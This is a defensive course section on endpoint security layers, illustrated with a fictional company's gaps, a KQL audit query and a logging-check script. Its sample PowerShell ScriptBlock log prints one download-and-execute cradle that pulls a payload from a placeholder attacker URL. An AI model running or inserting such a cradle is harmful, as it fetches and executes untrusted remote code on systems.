The Endpoint Security Stack

Introduction

Endpoint security is five layers, and the useful question is not what each one does but what happens when one is missing. This section covers the stack in that order. You will finish able to place any product you own on a layer, say which layer is carrying work that belongs to another, and recognize the specific failure each absent layer produces, because each produces a different one.

Hardening is the foundation layer. It reduces the number of things an attacker can exploit by removing unnecessary services, closing unnecessary ports, enforcing secure configurations, and eliminating default credentials. Hardening happens before any attack, it is the baseline security posture the endpoint presents to the world.

In the Microsoft ecosystem, hardening includes CIS Benchmarks for Windows that disable unnecessary services, restrict network protocols, and configure local security policies. Intune security baselines apply Microsoft's recommended configurations for Windows, Edge, and MDE. Compliance policies require BitLocker, enforce firewall, and mandate minimum OS versions. Windows LAPS randomizes local administrator passwords on every endpoint, preventing credential reuse during lateral movement. Credential Guard isolates LSASS secrets in a virtualization-based security container, so that even SYSTEM-level memory dumps cannot extract plaintext credentials.

The hardening layer is entirely preventive but not actively so. It does not detect attacks, respond to incidents, or preserve evidence. It makes the attack harder by reducing the available attack surface. An endpoint with a hardened CIS baseline, LAPS enabled, Credential Guard active, and BitLocker enforced presents a fundamentally smaller target than one running default configurations. Each additional hardening measure costs the attacker time, forces them to find alternative techniques, and increases the probability of detection at subsequent layers.

At NE, the hardening layer is the weakest part of the stack. LAPS is not deployed: every endpoint uses the same local administrator password, set during image deployment three years ago and never rotated. Credential Guard is not enabled on any endpoint. CIS Benchmarks have not been applied. The single hardening win is BitLocker, required for Cyber Essentials Plus certification. When the CHAIN-ENDPOINT attacker escalated privileges and dumped LSASS, they obtained the local administrator NTLM hash, identical on every endpoint. One hash gave local admin access to 865 machines. If LAPS had been deployed, each endpoint would have a unique password, and the stolen hash would work on exactly one machine. One hardening control would have transformed lateral movement from "one credential, 865 targets" to "one credential, one target."

Hardening is worth ranking before anything else in the stack, because the ranking is not what people expect.

  ASR rules                 free    a policy change. this course,
                                    module 4.
  Controlled folder access  cheap   an allowlist to maintain.
                                    module 4.
  Application control       hard    an inventory you may not have.
                                    weeks of work, and the largest
                                    single reduction available.
  Exploit protection        free    mitigations already present,
                                    switched off by default.
  Removing local admin      free    politically expensive, which is
                                    a different kind of cost

Two of those five cost nothing but a decision, and they are routinely deferred behind a product purchase that addresses a layer further up. That is the pattern this section exists to interrupt: hardening is the cheapest layer and the one deployed last, because it is the only layer nobody sells you.

Here is what that layer looks like as an artifact rather than as an argument. This is a real ASR configuration read back from a device, and auditing one is the work module 4 teaches in detail.

Two of the four faults in it are readable from this section alone, and two are not. The rule sitting at 0 and the rules at 2 rather than 1 are the installed-against-enforcing distinction you have just read, and spotting them needs nothing else. The exclusion scope and the warn-mode decision need material from module 4, and if you marked them you were reasoning rather than recalling, which is the better outcome anyway.

That gap is the honest shape of this course. The layers in this section are the argument; the configuration above is the deliverable, and the distance between reading one and being able to audit the other is what the remaining fifteen modules are for.

The prevention layer actively blocks attack techniques as they execute. ASR rules block specific high-risk behaviors. Office spawning child processes, scripts launching downloaded content, LSASS access by non-system processes. Defender Antivirus with cloud protection scans files and script content against cloud ML models. AMSI intercepts script content before execution. Network protection blocks connections to known malicious domains. Exploit protection enforces process-level mitigations. WDAC restricts which executables are allowed to run. Controlled Folder Access prevents unauthorized modifications to protected directories.

Prevention's strength is immediacy, it blocks the attack in real time before damage occurs. A ransomware executable blocked by AV encrypts zero files. An Office macro blocked by ASR spawns zero child processes. The attack is stopped at zero delay. Prevention's constraint is that it must not break legitimate business operations. Every prevention control has a blast radius: a set of legitimate activities it might incorrectly block. ASR rules that block Office from creating child processes may also block legitimate line-of-business applications that launch helper processes. WDAC that restricts executables to a known-good list breaks every new software installation until the list is updated. Controlled Folder Access that protects documents from unauthorized modification also blocks legitimate applications that are not on its allowed list. Module ES4 teaches the audit-first methodology that manages this constraint, deploy in audit mode, analyze the audit events to identify false positives, build targeted exclusions for legitimate applications, then enforce.

The blast radius concern is the primary reason most organizations leave ASR rules in audit mode indefinitely. They deploy the rules, see the audit events, recognize that some events are legitimate business processes, and never complete the work of building exclusions and promoting to block mode. The result: the organization has ASR "deployed", it appears in compliance reports, but zero prevention is occurring. Every audited event is an attack technique that executed successfully. The audit-to-block transition is the most impactful engineering work in this course, and Module ES4 dedicates an entire section to it.

The detection layer identifies attacks that bypass prevention. No prevention layer is complete, determined attackers find techniques that are not blocked. MDE's EDR engine continuously collects telemetry and correlates behavioral patterns. Built-in MDE alerts catch known commodity malware and documented attack tools like default-configuration Mimikatz and Cobalt Strike. Custom detection rules. KQL queries scheduled in Advanced Hunting, alert on organization-specific patterns that the built-in models do not cover. Hunting queries provide proactive analyst-driven searches for indicators of compromise.

The relationship between prevention and detection drives configuration priorities. Every prevention control that moves from audit to block mode reduces the detection layer's workload. If ASR blocks Office from spawning PowerShell, the detection layer does not need to catch the malicious PowerShell that follows, it was never executed. If Credential Guard prevents LSASS credential extraction, the detection layer does not need to detect the Mimikatz execution, it failed to obtain usable credentials. Prevention controls should be deployed and enforced before investing heavily in custom detection rules. There is no value in writing a detection rule for a technique that a prevention control would have blocked, unless the prevention control cannot be deployed due to blast radius concerns. This priority, prevention before detection, audit before enforcement, is the deployment sequence codified in Section 0.7.

// Assess your prevention and detection layer. ASR rule state summary
DeviceEvents
| where Timestamp > ago(30d)
| where ActionType startswith "Asr"
| summarize AuditCount = countif(ActionType endswith "Audited"),
            BlockCount = countif(ActionType endswith "Blocked")
            by ActionType
| sort by AuditCount desc

If this query returns rows with "Audited" counts but zero "Blocked" counts, your ASR rules are generating telemetry but preventing nothing. Every audited event is an attack technique that executed successfully, you logged it, but you did not stop it. The audit-to-block transition for each rule is covered in Module ES4.

The response layer provides tools for containing confirmed incidents. Device isolation severs network connectivity while maintaining the MDE cloud channel for continued investigation. Live response enables remote command execution for evidence collection and immediate remediation. AIR automatically investigates and remediates certain alert types without analyst intervention. Custom indicator blocking pushes file hashes, IP addresses, URLs, or certificates as block indicators across the entire fleet.

Response is the layer where speed matters most. A ransomware detection means nothing if the response, isolating the affected device, takes 30 minutes. The ransomware has already encrypted local drives and begun lateral propagation. Automated response, where a high-confidence detection triggers immediate device isolation, reduces response time from minutes to seconds. But automation has its own blast radius: a false positive that triggers automatic isolation takes a production machine offline. Module ES7 covers the confidence-based automation matrix that determines which detections safely trigger automatic response and which require human approval.

The forensic readiness layer is the most frequently neglected layer in the stack, and the one that determines whether incident investigations succeed or fail. Forensic readiness means configuring the endpoint to generate and retain the evidence that investigators need before the incident occurs. Advanced audit policies enable process creation auditing with command-line logging, logon event auditing, and privilege use auditing. PowerShell ScriptBlock logging captures the content of every PowerShell script executed. Sysmon provides enhanced process, network, and file system monitoring with Event IDs that EDR alone does not capture. Windows Event Forwarding centralizes logs to prevent loss if the endpoint is compromised. Collection tools like KAPE targets and Velociraptor agents are pre-staged and ready to execute.

Forensic readiness has zero impact on prevention or detection. It does not block attacks. It does not generate alerts. It ensures that when the detection layer fires and the response layer contains, the investigation team has the evidence to determine scope, reconstruct the attacker's actions, and validate that containment was complete. Without forensic readiness, the investigation team finds default audit policies that did not log process command lines, no PowerShell ScriptBlock logs to reconstruct attacker scripts, no Sysmon events to trace process-level activity, and no centralized log backup to recover events the attacker cleared.

The most common forensic readiness gap is PowerShell logging. At default settings, Windows logs PowerShell engine start and stop events (Event ID 400 and 403) but not the actual commands executed. ScriptBlock logging, configured via Group Policy or Intune, captures the full content of every script block executed by the PowerShell engine, including dynamically generated code, decoded commands, and the output of Invoke-Expression calls. Without it, an attacker who runs a 200-line credential harvesting script through PowerShell leaves no trace of what the script actually did.

Log Name:      Microsoft-Windows-PowerShell/Operational
Source:        Microsoft-Windows-PowerShell
Event ID:      4104
Task Category: Execute a Remote Command
Level:         Warning
Computer:      DESKTOP-NGE042.northgate.local
Description:
  Creating Scriptblock text (1 of 1):
  [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
  $client = New-Object System.Net.WebClient
  $client.DownloadString('https://raw.githubusercontent.com/attacker/payload/main/stage2.ps1') |
  Invoke-Expression

This is what ScriptBlock logging captures when it is enabled: the actual decoded script content, including the URL the attacker's download cradle connects to. Without ScriptBlock logging, this Event ID 4104 does not exist. The investigator sees only Event ID 400 (engine started) and Event ID 403 (engine stopped). They know PowerShell ran. They do not know what it ran. The difference between "PowerShell executed something" and "PowerShell downloaded and executed stage2.ps1 from this specific URL" is the difference between an incomplete investigation and an actionable finding.

# Check if PowerShell ScriptBlock logging is enabled
$regPath = "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"
if (Test-Path $regPath) {
    $enabled = (Get-ItemProperty -Path $regPath).EnableScriptBlockLogging
    if ($enabled -eq 1) { Write-Host "ScriptBlock logging: ENABLED" -ForegroundColor Green }
    else { Write-Host "ScriptBlock logging: DISABLED" -ForegroundColor Red }
} else {
    Write-Host "ScriptBlock logging: NOT CONFIGURED (default = disabled)" -ForegroundColor Yellow
}
# If output is NOT CONFIGURED or DISABLED, your forensic readiness
# layer has a critical gap. SEC409 Endpoint Security Operations covers deployment via Intune.

Run this on any endpoint. If the output is "NOT CONFIGURED" or "DISABLED," your forensic readiness layer has a gap that directly affects every investigation involving PowerShell, which is most of them, given that PowerShell appears in over 60% of endpoint attack chains according to Microsoft's Digital Defense Report.

The distinction between those two layers matters when an incident starts. Response is what you can do in the next ten minutes and forensic readiness is what you decided six months ago. An estate can have excellent response and no readiness, and it will contain the incident quickly and be unable to answer the only question the business asks afterwards, which is what was taken.

The five layers have dependencies that create cascading failures when any layer is absent.

Missing hardening means prevention and detection must compensate for a larger attack surface. Every default configuration that hardening would have closed is now an available attack path. Without LAPS, the detection layer must identify lateral movement across hundreds of machines instead of containing the attacker to a single compromised endpoint.

Missing prevention means the detection layer handles the full volume of attacks. Every technique that prevention would have blocked now executes, generating endpoint activity that the detection team must triage. Alert fatigue accelerates because analysts are investigating attacks that a configured ASR rule would have prevented with zero analyst effort.

Missing detection means response has nothing to trigger. Attacks that bypass prevention execute and are never identified. The organization does not know it is compromised. Response capabilities sit idle because nobody detected the incident that requires a response.

Missing response means detection identifies attacks that cannot be contained. The SOC sees the attacker moving laterally but cannot isolate the compromised device. The alert fires but the analyst has no rapid mechanism to stop the attack beyond calling IT to physically disconnect network cables: a process that takes 15-30 minutes in most organizations and requires knowing which physical port to disconnect. Automated isolation through MDE takes seconds, but only if response capabilities have been configured and tested before the incident occurs.

Missing forensic readiness means the incident is contained but never understood. The IR team cannot determine scope because command-line logging was not enabled. They cannot reconstruct the attacker's actions because PowerShell ScriptBlock logs were not configured. They cannot confirm data exposure because object access auditing was off. The organization cannot determine whether regulatory notification is required under GDPR Article 33, NIS2 Article 23, or SEC Item 1.05, because the evidence that would answer that question was never generated. The incident is closed but the investigation is incomplete, and the residual risk of undiscovered persistence mechanisms remains.

"WE GET TOO MANY ALERTS"
     usually missing HARDENING. prevention and detection are
     carrying an attack surface that should have been removed.
"WE MISS THINGS THAT PREVENTION SHOULD HAVE CAUGHT"
     missing PREVENTION, or prevention in audit. detection is
     handling the full volume and doing it slower.
"NOTHING EVER FIRES"
     missing DETECTION, or missing telemetry underneath it.
     the quiet is the symptom, not the outcome.
"WE SEE IT AND WATCH IT SPREAD"
     missing RESPONSE. the SOC is a spectator with a good view.
"WE CONTAINED IT AND CANNOT SAY WHAT HAPPENED"
     missing FORENSIC READINESS. scope, entry point and data
     access are all unanswerable after the fact.

EVERY SYMPTOM POINTS AT A DIFFERENT LAYER. Buying more of the
layer that is complaining is the usual response and the wrong
one.

The first line is the one worth dwelling on, because alert volume is nearly always treated as a detection problem and nearly always is not. A tuned detection layer on an unhardened estate produces exactly the flood it is accused of producing, and the fix is upstream, in the layer that costs least and gets deployed last.

The stack is not theory, each layer moves a measurable amount of protection, detection, and response coverage, and raises what it costs an attacker to operate. Toggle the layers below against Northgate's 865-endpoint fleet, running default MDE with no ASR in block mode, and watch a deployment that starts with default antivirus only become a hardened, detected, response-ready architecture.

HARDENING      removes attack surface. reduces the work of every
               layer above it. cheapest, deployed last.
PREVENTION     blocks known-bad behavior. measurable, and the
               only layer whose success is invisible.
DETECTION      finds what prevention missed. generates work by
               design; a quiet detection layer is a broken one.
RESPONSE       acts on what detection found. worth nothing
               without detection, and slow response is the same
               as none for a fast attack.
FORENSICS      answers what happened. the only layer whose value
               is entirely retrospective, which is why it is the
               easiest to defer and the most expensive to lack.

TWO OF THE FIVE HAVE NO VISIBLE OUTPUT WHEN THEY WORK. Prevention
and hardening both succeed silently, and both get cut in budget
conversations for exactly that reason.

Read the numbers it produces as a shape rather than as a score. What matters is which layer moves the line most on your estate, and for most estates that is hardening, because it is the layer with the least deployed and the widest reach. A coverage figure that only moves when you add a product is usually measuring purchases rather than protection.

Most estates have four of the five layers and a strong opinion about which one is weakest. The opinion is usually wrong, because the weakest layer is the one nobody is complaining about.

This inventory is used again in module 14, where the same five layers become the integration plan. It is worth doing properly now rather than twice.